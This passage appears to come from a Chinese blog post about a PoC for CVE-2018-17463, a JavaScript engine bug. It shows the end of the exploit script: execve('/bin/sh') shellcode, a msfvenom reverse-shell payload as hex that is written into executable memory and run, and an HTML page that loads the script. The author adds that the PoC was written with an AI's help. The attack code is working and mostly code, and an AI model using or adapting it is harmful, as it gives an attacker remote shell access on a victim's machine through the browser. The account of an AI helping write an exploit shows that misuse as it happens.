// execve("/bin/sh", NULL, NULL)
shellcode.push(0x68732f6e69622f48n); // movabs rax, '/bin/sh'
shellcode.push(0x5f545299526a5000n); // push rax; xor rdx,rdx; push rdx; push rsp; pop rdi
shellcode.push(0x583b6a5e54050f00n); // syscall; push rsp; pop rsi; push 0x3b; pop rax; syscall
return shellcode;
}
// let shellcode=generateReverseShellcode("127.0.0.1",1991)
function hexToBytes(hex) {
hex = hex.length % 2 ? '0' + hex : hex;
let bytes = new Uint8Array(hex.length / 2);
for (let i = 0; i < bytes.length; i++) {
bytes[i] = parseInt(hex.substr(i*2, 2), 16);
}
return bytes;
}
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1991 -f hex
let shellcodeHex = "6a2958996a025f6a015e0f05489748b9020007c77f000001514889e66a105a6a2a580f056a035e48ffce6a21580f0575f66a3b589948bb2f62696e2f736800534889e752574889e60f05";
let shellcodeBytes = hexToBytes(shellcodeHex);
let data_view = new DataView(mem);
// for (let i = 0; i < 3; i++)
// data_view.setBigUint64(8 * i, shellcode[i], true);
for (let i = 0; i < shellcodeBytes.length; i++) {
data_view.setUint8(i, shellcodeBytes[i]);
}
print("[+] GetShell");
f();
用于触发的html页面
html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Exploit Test</title>
</head>
<body>
<h1>Running exploit...</h1>
<script src="cve201817463.js"></script>
</body>
</html>
这一次是我在没看原始poc的情况下自己利用AI写的任意读写实现的poc(ps:ai肯定读过原始poc),感觉体验真的蛮不一样的,之前看别人的poc有时候自己也跑不起来,有时候看到太长跑起来就觉得懂意思了实际细节点很多的,这次自己去感受发现确实有遇到很多问题,特别是有些固有直觉的错误和一些大模型幻觉导致的难以debug出的问题,比如同一个obj是否相同布局方式,不完全是。